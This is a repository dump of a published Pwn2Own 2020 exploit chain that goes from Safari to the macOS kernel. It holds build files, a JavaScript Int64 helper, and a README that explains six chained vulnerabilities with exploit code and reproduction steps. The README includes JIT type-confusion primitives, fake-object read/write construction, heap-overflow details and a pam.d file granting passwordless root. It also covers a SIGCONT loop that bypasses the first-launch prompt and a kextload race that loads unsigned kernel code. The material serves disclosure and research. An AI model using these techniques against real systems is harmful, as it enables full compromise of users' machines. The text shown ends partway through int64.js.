├── .gitignore ├── CMakeLists.txt ├── Makefile ├── README.md ├── exploit.html ├── int64.js ├── logging.js ├── make.py ├── movie.mov ├── payload.js ├── payload ├── loader │ ├── .gitignore │ ├── Makefile │ ├── entry.s │ ├── loader.cpp │ └── make.py ├── sbx │ ├── .gitignore │ ├── CMakeLists.txt │ ├── Makefile │ ├── build-threadexec.sh │ ├── build-webkit.sh │ ├── cvm.cc │ ├── cvm_side.cc │ ├── embed.py │ ├── root │ │ ├── .gitignore │ │ ├── CMakeLists.txt │ │ ├── Makefile │ │ ├── app │ │ │ └── Contents │ │ │ │ ├── Info.plist │ │ │ │ ├── MacOS │ │ │ │ └── .gitignore │ │ │ │ ├── PkgInfo │ │ │ │ └── Resources │ │ │ │ └── .gitignore │ │ ├── build-unrootless.sh │ │ ├── getroot.c │ │ ├── kext.sh │ │ └── main.c │ ├── safari.mm │ └── threadexec.diff └── stage0.asm ├── pwn.js ├── ready.js ├── tuto.pdf └── utils.js /.gitignore: -------------------------------------------------------------------------------- 1 | /stage0.bin 2 | /payload.js 3 | *.dSYM 4 | 5 | -------------------------------------------------------------------------------- /CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.11) 2 | set(CMAKE_CXX_STANDARD 17) 3 | 4 | project(chain) 5 | 6 | add_subdirectory(payload/loader/reflective) 7 | 8 | # stage 1 9 | add_subdirectory(payload/sbx) 10 | # stage 2 11 | add_subdirectory(payload/root) 12 | 13 | add_custom_target(payload.js ALL DEPENDS sbx stage0 14 | COMMAND python3 ${PROJECT_SOURCE_DIR}/make.py) 15 | 16 | add_custom_target(stage0 ALL 17 | COMMAND nasm ${PROJECT_SOURCE_DIR}/payload/stage0.asm -o stage0) 18 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | all: stage0.bin 2 | make -C payload/loader 3 | make -C payload/sbx 4 | ./make.py 5 | 6 | stage0.bin: payload/stage0.asm 7 | nasm -o $@ $< 8 | 9 | clean: 10 | rm -f stage0.bin payload.js 11 | make clean -C payload/loader 12 | make clean -C payload/sbx 13 | 14 | .PHONY: all clean 15 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Compromising the macOS Kernel through Safari by Chaining Six Vulnerabilities 2 | ====================================================================================== 3 | 4 | Overview 5 | --------- 6 | This repository contains exploitation and technical details of [our Pwn2Own 7 | 2020 winning submission targeting Apple Safari with a kernel escalation 8 | of privilege for macOS 10.15.3](https://www.thezdi.com/blog/2020/3/17/welcome-to-pwn2own-2020-the-schedule-and-live-results). 9 | For further information, you can also check [our Blackhat USA 2020 10 | slides](https://gts3.org/assets/papers/2020/jin:pwn2own2020-safari-slides.pdf) 11 | and [video](https://www.youtube.com/watch?v=1M-oQY8ujVU). 12 | This repository also includes [our demo video](./movie.mov) for the succesful 13 | exploitation. 14 | 15 | 16 | How to reproduce 17 | ----------------- 18 | 19 | 1. Run the HTTP server using python3 in the exploits folder. 20 | 21 | ```shell 22 | $ python3 -m http.server 80 23 | ``` 24 | 25 | 2. Access the website with attacker server's IP with Safari: 26 | 27 | ``` 28 | http://[attacker_ip]/exploit.html 29 | ``` 30 | 31 | 3. Wait for Calculator (usually popped in ten seconds, but if unlucky, it will 32 | take some time) and a terminal with kernel privilege. To show our kernel 33 | privilege escalation, we disabled SIP. You can check by running the 34 | `csrutil status` command, which will show `disabled`. 35 | 36 | 37 | Build from source 38 | ----------------- 39 | For your convenience, we provided a compiled payload, `payload.js`. But, if you 40 | want, you can build it by yourself. Note that this will take a very long time 41 | because we will build WebKit as a part of our exploit chain. It is worth to noting 42 | that we only tested our building process in Mac OS. 43 | 44 | ```shell 45 | # Install xcode first 46 | $ python3 -m pip install --user lief 47 | $ make 48 | ``` 49 | 50 | Technical details 51 | ----------------- 52 | 53 | To make this exploit, we chained the following *SIX* vulnerabilities. 54 | 55 | ### 1. Remote code execution in Safari via incorrect side-effect modeling of 'in' operator in JavaScriptCore DFG compiler 56 | 57 | - Root cause analysis 58 | 59 | In JavaScriptCore, when an indexed property was queried with 'in' operator, 60 | the DFG compiler assumes that it is side-effect free unless there is a proxy 61 | object in its prototype chain that can intercept this operation. 62 | JavaScriptCore marks an object that can intercept this indexed property 63 | access using the flag called 'MayHaveIndexedAccessors'. This flag is 64 | explicitly marked for the Proxy object. 65 | 66 | ```javascript 67 | 0 in [] // side-effect free 68 | 69 | let arr = []; 70 | arr.__proto__ = new Proxy({}, {}); 71 | 0 in arr // can cause side-effect! 72 | ``` 73 | 74 | However, there is another object that can cause side-effect: 75 | JSHTMLEmbedElement that implements its own getOwnPropertySlot() method. One 76 | way to trigger JavaScript callbacks (i.e. side effects) with 'in' operator is 77 | using `` element with PDF plugin; when any property is queried on 78 | embed / object tag's DOM object, it tries to load the backed plugin and 79 | DOMSubtreeModified event handler can be called in PDF plugin's case because 80 | it uses appendChild method on body element. 81 | 82 | This is the stack trace of calling the side-effect from getOwnPropertySlot(). 83 | 84 | ```txt 85 | Stack trace 86 | #1 0x1c1463dbb in WebKit::PDFPlugin::PDFPlugin(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1463dbb) 87 | #2 0x1c144cac7 in WebKit::PDFPlugin::create(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x144cac7) 88 | #3 0x1c1b65d48 in WebKit::WebPage::createPlugin(WebKit::WebFrame*, WebCore::HTMLPlugInElement*, WebKit::Plugin::Parameters const&, WTF::String&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1b65d48) 89 | #4 0x1c18cddc4 in WebKit::WebFrameLoaderClient::createPlugin(WebCore::IntSize const&, WebCore::HTMLPlugInElement&, WTF::URL const&, WTF::Vector const&, WTF::Vector const&, WTF::String const&, bool) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x18cddc4) 90 | #5 0x1cfb3f224 in WebCore::SubframeLoader::loadPlugin(WebCore::HTMLPlugInImageElement&, WTF::URL const&, WTF::String const&, WTF::Vector const&, WTF::Vector const&, bool) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d01224) 91 | #6 0x1cfb3f62c in WebCore::SubframeLoader::requestObject(WebCore::HTMLPlugInImageElement&, WTF::String const&, WTF::AtomString const&, WTF::String const&, WTF::Vector const&, WTF::Vector const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d0162c) 92 | #7 0x1cf424c85 in WebCore::HTMLPlugInImageElement::requestObject(WTF::String const&, WTF::String const&, WTF::Vector const&, WTF::Vector const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35e6c85) 93 | #8 0x1cf300912 in WebCore::HTMLEmbedElement::updateWidget(WebCore::CreatePlugins) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c2912) 94 | #9 0x1cfd0a57e in WebCore::FrameView::updateEmbeddedObject(WebCore::RenderEmbeddedObject&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc57e) 95 | #10 0x1cfd0a807 in WebCore::FrameView::updateEmbeddedObjects() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc807) 96 | #11 0x1cfcf19c7 in WebCore::FrameView::updateEmbeddedObjectsTimerFired() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3eb39c7) 97 | #12 0x1cedbd595 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f7f595) 98 | #13 0x1cf41b681 in WebCore::HTMLPlugInElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dd681) 99 | #14 0x1cf2ffc2d in WebCore::HTMLEmbedElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c1c2d) 100 | #15 0x1cf41ad77 in WebCore::HTMLPlugInElement::pluginWidget(WebCore::HTMLPlugInElement::PluginLoadingPolicy) const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dcd77) 101 | #16 0x1ce7b3e26 in WebCore::pluginScriptObjectFromPluginViewBase(WebCore::HTMLPlugInElement&, JSC::JSGlobalObject*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975e26) 102 | #17 0x1ce7b3dca in WebCore::pluginScriptObject(JSC::JSGlobalObject*, WebCore::JSHTMLElement*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975dca) 103 | #18 0x1ce7b4023 in WebCore::pluginElementCustomGetOwnPropertySlot(WebCore::JSHTMLElement*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2976023) 104 | #19 0x1cca3e913 in WebCore::JSHTMLEmbedElement::getOwnPropertySlot(JSC::JSObject*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc00913) 105 | #20 0x1e946dd6c in llint_slow_path_get_by_id (.../WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x232ad6c) 106 | ``` 107 | 108 | Since any objects in the prototype chain is not marked with 109 | "MayHaveIndexedAccessors", JIT assumes that this use of 'in' operator doesn't 110 | have any transitions inside eliminating the array type checks after 111 | transition. 112 | 113 | ```javascript 114 | // In the frame of 115 | 116 | function opt(arr) { 117 | arr[0] = 1.1; 118 | 100 in arr; // 100 not exists in arr, making it check __proto__ 119 | return arr[0] 120 | } 121 | 122 | for(var i = 0; i < 10000; i++) opt([1.1]) 123 | arr.__proto__ = document.querySelector('embed') 124 | 125 | document.body.addEventListener('DOMSubtreeModified', () => { 126 | arr[0] = {} 127 | }) 128 | 129 | document.body.removeChild(embed) 130 | opt([1.1]) // leaks address of {} as double value 131 | ``` 132 | 133 | By constructing addrof/fakeobj primitive from this, we could make arbitrary 134 | RW primitive to get code execution with the JIT-compiled JavaScript function. 135 | 136 | 137 | - Exploitation 138 | 139 | After getting addrof/fakeobj primitives, we convert it to more stable 140 | addrof/fakeobj primitives by faking an object. 141 | 142 | ```javascript 143 | hostObj = { 144 | // hostObj.structureId 145 | // hostObj.butterfly 146 | _: 1.1, // dummy 147 | length: (new Int64('0x4141414141414141')).asDouble(), 148 | // -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20) 149 | id: (new Int64('0x0108191700000000')).asJSValue(), 150 | butterfly: null, 151 | o: {}, 152 | executable:{ 153 | a:1, b:2, c:3, d:4, e:5, f:6, g:7, h:8, i:9, // Padding (offset: 0x58) 154 | unlinkedExecutable:{ 155 | isBuiltinFunction: 1 << 31, 156 | a:0, b:0, c:0, d:0, e:0, f:0, // Padding (offset: 0x48) 157 | identifier: null 158 | } 159 | }, 160 | // -> fakeIdentifier = fakeObj(addressOf(hostObj) + 0x40) 161 | strlen_or_id: (new Int64('0x10')).asDouble(), // String.size 162 | target: hostObj // String.data_ptr 163 | } 164 | 165 | hostObj.executable.unlinkedExecutable.identifier = fakeIdentifier 166 | Function.prototype.toString(fakeHostObj) // function [leaked-structure-id]() { [native code] } 167 | ``` 168 | 169 | We leak the structure id of the hostObj by making fake function object 170 | fakeHostObj and calling Function.prototype.toString on it. The name of 171 | function reflects the structure id value as UTF-16 string. We update the 172 | hostObj after leaking the structure id. It is worth to noting that this 173 | technique is from [Yong Wang's Blackhat EU 2019 174 | talk](https://www.blackhat.com/eu-19/briefings/schedule/#thinking-outside-the-jit-compiler-understanding-and-bypassing-structureid-randomization-with-generic-and-old-school-methods-17513). 175 | 176 | ```javascript 177 | hostObj = { 178 | // hostObj.structureId 179 | // hostObj.butterfly 180 | _: 1.1, // dummy 181 | length: (new Int64('0x4141414141414141')).asDouble(), 182 | // -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20) 183 | id: leakStructureId.asDouble(), // fakeHostObj.structureId 184 | butterfly: fakeHostObj, // fakeHostObj.butterfly 185 | o: {}, 186 | ... 187 | } 188 | ``` 189 | 190 | Now we have fakeHostObj's butterfly pointing fakeHostObj itself. We can use 191 | addrof/fakeobj primitive without triggering the bug again since we can access 192 | hostObj.o as JSValue or as double using fakeHostObj[2]. 193 | 194 | Using leaked structure id of attackObj and addrof/fakeobj primitive, we can 195 | craft objects like below. 196 | 197 | ```javascript 198 | rwObj = { 199 | // rwObj.structureId 200 | // rwObj.butterfly 201 | _: 1.1, // dummy 202 | length: (new Int64('0x4141414141414141')).asDouble(), 203 | // fakeRwObj = fakeObj(addressOf(rwObj) + 0x20) 204 | id: leakStructureId.asDouble(), // fakeRwObj.structureId 205 | butterfly: fakeRwObj, // fakeRwObj.butterfly 206 | 207 | __: 1.1, // dummy 208 | innerLength: (new Int64('0x4141414141414141')).asDouble(), 209 | // fakeInnerObj = fakeObj(addressOf(rwObj) + 0x40) 210 | innerId: leakStructureId.asDouble(), // fakeInnerObj.structureId 211 | innerButterfly: fakeInnerObj, // fakeInnerObj.butterfly 212 | } 213 | ``` 214 | 215 | We can get arbitrary RW primitive using the fakeRwObj to update 216 | fakeInnerObj's butterfly pointer and read/write from/to fakeInnerObj. To get 217 | RCE from arbitrary RW primitive, we trigger the JIT compilation of the dummy 218 | function, leak the code address, overwrite it with our shellcode. Sometimes, 219 | code address leak fails because we can't read/write certain values from our 220 | fake array. In that case, we try to approximate it by reading from pointer 221 | location + 1 and shifting the read value. Finally, we overwrite the code 222 | pointer of the alert function to our dummy function code pointer and call it 223 | (with some arguments) to execute the shellcode. 224 | 225 | 226 | ### 2. Arbitrary .app launching in Safari via symbolic link in didFailProvisionalLoad() 227 | 228 | For file:// URL, Safari opens Finder window with [NSWorkspace selectFile:inFileViewerRootedAtPath:]. 229 | This function accepts two parameters, and in most cases, Safari only uses the 230 | first parameter, which shows the containing folder of the specified file. But 231 | if the second parameter is used instead, the Finder launches the file if it is 232 | executable or an app bundle. 233 | 234 | Safari uses the second parameter after confirming that the pointed path is not 235 | application bundle --- directory with .app suffix. Since a symbolic link can 236 | point to the application bundle, but this is not a directory with .app suffix. 237 | Thus, Safari will launch the application pointed by the symbolic link. This 238 | code path can be triggered by sending didFailProvisionalLoad() IPC message. 239 | 240 | However, Safari itself cannot create a symbolic link due to system call filter 241 | of the Seatbelt sandbox. So we use another vulnerability that gives root, but 242 | sandboxed code execution. 243 | 244 | 245 | ### 3. Arbitrary code execution in CVM (Core Virtual Machine) Service via heap overflow 246 | 247 | There is a sandboxed XPC service named com.apple.cvmsServ (i.e. CVMServer), 248 | which compiles shader for various architectures. It is part of built-in 249 | OpenGL framework. 250 | 251 | For requests with "message" field set to 4, CVMServer parses user-specified 252 | "framework data" and "maps". The "maps" data file is located at 253 | "/System/Library/Caches/com.apple.CVMS/%s.%s.%u.maps" - first %s is 254 | user-specified without any filters. So directory traversal is possible; we 255 | can make it parse the file created within the Safari's sandbox. 256 | 257 | ```c 258 | FILE *fp = fopen(&framework_name_, "r"); 259 | ... 260 | Header *header = malloc(0x50); 261 | fread(header, 0x50, 1, v132); 262 | ... 263 | items_offset = header->items_offset; 264 | items_count = header->items_count; 265 | header = realloc(header, 56 * items_count + items_offset); 266 | fread(&header->char50, items_offset + 56 * items_count - 0x50, 1, v132); 267 | ``` 268 | 269 | If `item_count * 56 + items_offset <= 0x50`, fread() will receive underflowed 270 | length near 2^64, so it becomes heap overflow with arbitrary length payload. 271 | Note that fread() stops when the end of specified file is reached. 272 | 273 | By utilizing this, we could overwrite the heap object related to connection, 274 | which could modify the pointers mentioned below: 275 | 276 | ```c 277 | case 7: // "message" == 7 278 | v34 = xpc_dictionary_get_uint64(input, "heap_index"); 279 | v11 = cvmsServerServiceGetMemory(a1a->session, v34, &port, &size); 280 | if ( v11 ) 281 | goto error; 282 | xpc_dictionary_set_mach_send(reply, "vm_port", port); 283 | 284 | __int64 __fastcall cvmsServerServiceGetMemory(xpc_session *a1, unsigned __int64 index, _DWORD *port, _QWORD *a4) 285 | { 286 | Pool *pool; // rax 287 | unsigned int v7; // ebx 288 | heapitem *v8; // rax 289 | 290 | pthread_mutex_lock((&server_globals + 2)); 291 | // a1->attachedService is controlled value 292 | pool = a1->attachedService->context->pool_ptr; 293 | v7 = 521; 294 | if ( pool->pointersCount > index ) 295 | { 296 | v8 = pool->pointers; 297 | *port = v8[index].port; 298 | *a4 = v8[index].size; 299 | v7 = 0; 300 | } 301 | pthread_mutex_unlock((&server_globals + 2)); 302 | return v7; 303 | } 304 | ``` 305 | 306 | If the "port" value is 0x103 (TASK-SELF), the service will grant the client the 307 | send right of CVMServer's task port, which can be used to allocate memory, and 308 | execute arbitrary code on the process. To make v8[index].port == 0x103, we 309 | searched the memory on the library area, which have the same addresses across 310 | the processes. 311 | 312 | ```txt 313 | rax := UserInput 314 | [rax+0x38] = X 315 | [X+0x30] = Length (UINT64_MAX) 316 | [X+0x28] = Y (0) 317 | [Y+0x18*index+0x10] = 0x103 (== mach_task_self_) 318 | ``` 319 | 320 | There were many areas that had two 64-bit integer value 0, -1, and for rax+0x38 321 | and X+0x30, we found that `_xpc_error_termination_imminent`, which is public 322 | symbol, satisfies this condition. Since length is larger than 2^64 / 0x10, we 323 | could calculate modular inverse to point `Y(==0)*0x18+index+0x10 == &0x103`. 324 | 325 | Since CVMServer had com.apple.security.cs.allow-jit set, we could call mmap 326 | with MAP_JIT flag and invoke our reflective loader to execute dylib files on 327 | the process. We ran this code on CVMServer: 328 | 329 | ```c 330 | // In /var/db/CVMS (writable folder) 331 | 332 | char randbuf[0x1000]; 333 | sprintf(randbuf, "%lu.app", clock()); 334 | symlink(randbuf, "my.app"); 335 | 336 | // Create a valid application at my.app 337 | ``` 338 | 339 | After creating %lu.app and symbolic link my.app, we returned to Safari and sent 340 | the IPC message to open the app. But there were two more protections: quarantine 341 | check and opening-the-app-for-the-first-time check. 342 | 343 | ### 4. macOS first-time app protection bypass 344 | 345 | If Safari tries to execute an app for the first time, Safari denies its 346 | execution if the file has an attribute called com.apple.quarantine or waits a 347 | user's confirmation. All files created by WebProcess has the attribute --- 348 | com.apple.quarantine, however, we already can bypass this because we created 349 | the folder in CVMServer process, not in WebProcess. For the user's 350 | confirmation, macOS first creates the process, suspends it, and continue 351 | the process after user clicks `Open` button. But sending SIGCONT signal worked 352 | as same as clicking the button. 353 | 354 | Thus, we ran this code continuously in CVMServer after creating my.app: 355 | 356 | ```c 357 | for(int i = 0; i < 65536; i++) 358 | kill(i, SIGCONT); 359 | ``` 360 | 361 | ### 5. Root privilege escalation in cfprefsd via arbitrary file / folder permission modification caused by a race condition 362 | 363 | cfprefsd is another XPC service that allows a user to create plist file. It 364 | is located at CoreFoundation and is recheable from most unsandboxed process. 365 | Since we already got unsandboxed privilege for a normal user (i.e., 366 | CVMServer), we can request it to create plist file if the target folder and 367 | file has sufficient permission bits that allows the client user to write to 368 | the file. However, if the folder does not exist, it creates the folder of the 369 | plist file recursively. 370 | 371 | Here is a code snippet from CVMServer that creates the folder. 372 | 373 | ```c 374 | _CFPrefsCreatePreferencesDirectory(path) { 375 | for(slice in path.split("/")) { 376 | cur += slice 377 | if(!mkdir(cur, 0777) || errno in (EEXIST, EISDIR)) { 378 | chmod(cur, perm) 379 | chown(cur, client_id, client_group) 380 | } else break 381 | } 382 | } 383 | ``` 384 | 385 | But if a path points user-writable directory, a user can replace the directory 386 | pointed by `cur`, and replace it with symbolic link to arbitrary file/folder. 387 | Since cfprefsd has root privilege, it is possible to change the owner of the 388 | folders like /etc/pam.d. By changing the owner of /etc/pam.d, we can write 389 | /etc/pam.d/login with the content below: 390 | 391 | ```txt 392 | auth optional pam_permit.so 393 | auth optional pam_permit.so 394 | auth optional pam_permit.so 395 | auth required pam_permit.so 396 | account required pam_permit.so 397 | account required pam_permit.so 398 | password required pam_permit.so 399 | session required pam_permit.so 400 | session required pam_permit.so 401 | session optional pam_permit.so 402 | ``` 403 | 404 | Then `login root` command will give the user root shell without any 405 | authentication. 406 | 407 | ### 6. Kernel privilege escalation using module staging bypass and race condition in kextload 408 | 409 | kextload is one of programs that can perform kext (Kernel Extension) operations 410 | in macOS. By running `kextload [path of .kext folder]`, a root user can load a 411 | signed kext from user mode. To prevent an unsigned or an invalid signed kexts, 412 | kextload sets 'authenticator' callback in IOKitUser package. Unfortunately, the 413 | path of the kext is the only available resource for the callback, race 414 | condition is hard to prevent. To mitigate this, kextload first copies the kext 415 | folder into the dedicated space -- /Library/StagedExtensions --- which cannot 416 | be modified even with root privilege thanks to SIP and the entitlement 417 | mechanism. 418 | 419 | kextload works as follows. If we execute `kextload /tmp/A.kext`, kextload 420 | copies the original kext folder to /Library/StagedExtensions/tmp/[UUID].kext. 421 | Then, kextload checks signs of all files in the folder. If this fails, it 422 | deletes the folder. Otherwise, it copies the folder to 423 | /Library/StagedExtensions/tmp/A.kext and load this module. 424 | 425 | ```txt 426 | $ kextload /tmp/A.kext 427 | -> copy to /Library/StagedExtensions/tmp/[UUID].kext 428 | -> validate signatures. if failed, delete the directory 429 | -> if succeeded, copy to /Library/StagedExtensions/tmp/A.kext 430 | -> load the kext 431 | ``` 432 | 433 | One issue in kextload is that this process can be terminated with a root 434 | privilege user. It is worth noting that the aforementioned copy includes 435 | symbolic link, which will be validated later. However, if we kill the kextload 436 | process before the validation, we can preserve an invalid kext with a symbolic 437 | link in the /Library/StagedExtensions. 438 | 439 | ```txt 440 | # assume /tmp/A.kext/symlink -> /tmp/ 441 | $ kextload /tmp/A.kext 442 | -> copy to /Library/StagedExtensions/tmp/[UUID].kext 443 | -> kill this process 444 | -> then, /Library/StagedExtensions/tmp/[UUID].kext/symlink will be remained 445 | ``` 446 | 447 | After this, if we execute another kextload command with 448 | `kextload /tmp/[UUID].kext/symlink/B.kext`, B.kext will be copied to the writable 449 | location for a root privilege user (e.g., /tmp/[UUID'].kext) 450 | 451 | ``` 452 | $ kextload /tmp/[UUID].kext/symlink/B.kext 453 | -> copy to /Library/StagedExtensions/tmp/[UUID].kext/symlink/[UUID'].kext 454 | -> since symlink -> /tmp, this is equal to /tmp/[UUID'].kext. 455 | ``` 456 | 457 | After copying, kextload checks if it is located at secure location, which is 458 | `/Library/StagedExtensions/*`. We can temporarily place the symbolic link at 459 | /tmp/A.kext to point /Library/StagedExtensions/[path of valid kext]. After 460 | validation, we can replace the module binary into a unsigned kernel module, to 461 | get kernel code execution. 462 | 463 | To make race reliable, we used sandbox-exec to stop the program at the file 464 | access with the specified suffix. 465 | 466 | 467 | Authors 468 | ------- 469 | - Yonghwi Jin (jinmoteam@gmail.com) 470 | - Jungwon Lim (setuid0@protonmail.com) 471 | - Insu Yun (insu@gatech.edu) 472 | - Taesoo Kim (taesoo@gatech.edu) 473 | 474 | Citation 475 | -------- 476 | ```txt 477 | @inproceedings{jin:pwn2own2020-safari, 478 | title = {{Compromising the macOS kernel through Safari by chaining six vulnerabilities}}, 479 | author = {Yonghwi Jin and Jungwon Lim and Insu Yun and Taesoo Kim}, 480 | booktitle = {Black Hat USA Briefings (Black Hat USA)}, 481 | month = aug, 482 | year = 2020, 483 | address = {Las Vegas, NV}, 484 | } 485 | ``` 486 | 487 | Reference 488 | --------- 489 | - https://github.com/saelo/pwn2own2018 490 | - https://github.com/LinusHenze/WebKit-RegEx-Exploit 491 | - https://github.com/niklasb/sploits/blob/master/safari/regexp-uxss.html 492 | - https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf 493 | -------------------------------------------------------------------------------- /exploit.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 13 | 14 | 15 | 16 |
17 | 18 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /int64.js: -------------------------------------------------------------------------------- 1 | // 2 | // Tiny module that provides big (64bit) integers. 3 | // 4 | // Copyright (c) 2016 Samuel Groß 5 | // 6 | // Requires utils.js 7 | // 8 | 9 | // Datatype to represent 64-bit integers. 10 | // 11 | // Internally, the integer is stored as a Uint8Array in little endian byte order. 12 | function Int64(v) { 13 | // The underlying byte array. 14 | var bytes = new Uint8Array(8); 15 | this.bytes = bytes; 16 | 17 | switch (typeof v) { 18 | case 'number': 19 | v = '0x' + Math.floor(v).toString(16); 20 | case 'string': 21 | if (v.startsWith('0x')) 22 | v = v.substr(2); 23 | if (v.length % 2 == 1) 24 | v = '0' + v; 25 | 26 | var bigEndian = unhexlify(v, 8); 27 | bytes.set(Array.from(bigEndian).reverse()); 28 | break; 29 | case 'object': 30 | if (v instanceof Int64) { 31 | bytes.set(v.getBytes()); 32 | } else { 33 | if (v.length != 8) 34 | throw TypeError("Array must have excactly 8 elements."); 35 | bytes.set(v); 36 | } 37 | break; 38 | case 'undefined': 39 | break; 40 | default: 41 | throw TypeError("Int64 constructor requires an argument."); 42 | } 43 | 44 | // Return a double whith the same underlying bit representation. 45 | this.asDouble = function() { 46 | // Check for NaN 47 | if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) 48 | throw new RangeError("Integer can not be represented by a double"); 49 | 50 | return Struct.unpack(Struct.float64, bytes); 51 | }; 52 | 53 | // Return a javascript value with the same underlying bit representation. 54 | // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000) 55 | // due to double conversion constraints. 56 | this.asJSValue = function() { 57 | if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff)) 58 | throw new RangeError("Integer can not be represented by a JSValue"); 59 | 60 | // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern. 61 | this.assignSub(this, 0x1000000000000); 62 | var res = Struct.unpack(Struct.float64, bytes); 63 | this.assignAdd(this, 0x1000000000000); 64 | 65 | return res; 66 | }; 67 | 68 | // Return the underlying bytes of this number as array. 69 | this.getBytes = function() { 70 | return Array.from(bytes); 71 | }; 72 | 73 | // Return the byte at the given index. 74 | this.byteAt = function(i) { 75 | return bytes[i]; 76 | }; 77 | 78 | // Return the value of this number as unsigned hex string. 79 | this.toString = function() { 80 | return '0x' + hexlify(Array.from(bytes).reverse()); 81 | }; 82 | 83 | this.asInt32 = function() { 84 | var value = new Int64(0); 85 | for (var i = 0; i < 8; i++) { 86 | if (i < 4) { 87 | value.bytes[i] = this.bytes[i]; 88 | } else { 89 | value.bytes[i] = 0; 90 | } 91 | } 92 | 93 | return parseInt('0x' + hexlify(Array.from(value.bytes).reverse()).slice(-8)); 94 | }; 95 | 96 | this.asInt16 = function() { 97 | var value = new Int64(0); 98 | for (var i = 0; i < 8; i++) { 99 | if (i < 2) { 100 | value.bytes[i] = this.bytes[i]; 101 | } else { 102 | value.bytes[i] = 0; 103 | } 104 | } 105 | 106 | return parseInt('0x' + hexlify(Array.from(value.bytes).reverse()).slice(-8)); 107 | }; 108 | 109 | // Basic arithmetic. 110 | // These functions assign the result of the computation to their 'this' object. 111 | 112 | // Decorator for Int64 instance operations. Takes care 113 | // of converting arguments to Int64 instances if required. 114 | function operation(f, nargs) { 115 | return function() { 116 | if (arguments.length != nargs) 117 | throw Error("Not enough arguments for function " + f.name); 118 | for (var i = 0; i < arguments.length; i++) 119 | if (!(arguments[i] instanceof Int64)) 120 | arguments[i] = new Int64(arguments[i]); 121 | return f.apply(this, arguments); 122 | }; 123 | } 124 | 125 | // this = -n (two's complement) 126 | this.assignNeg = operation(function neg(n) { 127 | for (var i = 0; i < 8; i++) 128 | bytes[i] = ~n.byteAt(i); 129 | 130 | return this.assignAdd(this, Int64.One); 131 | }, 1); 132 | 133 | // this = a + b 134 | this.assignAdd = operation(function add(a, b) { 135 | var carry = 0; 136 | for (var i = 0; i < 8; i++) { 137 | var cur = a.byteAt(i) + b.byteAt(i) + carry; 138 | carry = cur > 0xff | 0; 139 | bytes[i] = cur; 140 | } 141 | return this; 142 | }, 2); 143 | 144 | // this = a - b 145 | this.assignSub = operation(function sub(a, b) { 146 | var carry = 0; 147 | for (var i = 0; i < 8; i++) { 148 | var cur = a.byteAt(i) - b.byteAt(i) - carry; 149 | carry = cur < 0 | 0; 150 | bytes[i] = cur; 151 | } 152 | return this; 153 | }, 2); 154 | 155 | // this = a ^ b 156 | this.assignXor = operation(function xor(a, b) { 157 | for (var i = 0; i < 8; i++) { 158 | bytes[i] = a.byteAt(i) ^ b.byteAt(i); 159 | } 160 | return this; 161 | }, 2); 162 | 163 | // this = a & b 164 | this.assignAnd = operation(function and(a, b) { 165 | for (var i = 0; i < 8; i++) { 166 | bytes[i] = a.byteAt(i) & b.byteAt(i); 167 | } 168 | return this; 169 | }, 2); 170 | 171 | // this = a << b 172 | this.assignShiftLeft = operation(function shiftLeft(a, b) { 173 | for (var i = 0; i < 8; i++) { 174 | if (i < b) { 175 | bytes[i] = 0; 176 | } else { 177 | bytes[i] = a.byteAt(Sub(i, b).asInt32()); 178 | } 179 | } 180 | return this; 181 | }, 2); 182 | 183 | // this = a >> b 184 | this.assignShiftRight = operation(function shiftRight(a, b) { 185 | for (var i = 0; i < 8; i++) { 186 | if (i < (8 - b)) { 187 | bytes[i] = a.byteAt(Add(i, b).asInt32()); 188 | } else { 189 | bytes[i] = 0; 190 | } 191 | } 192 | return this; 193 | 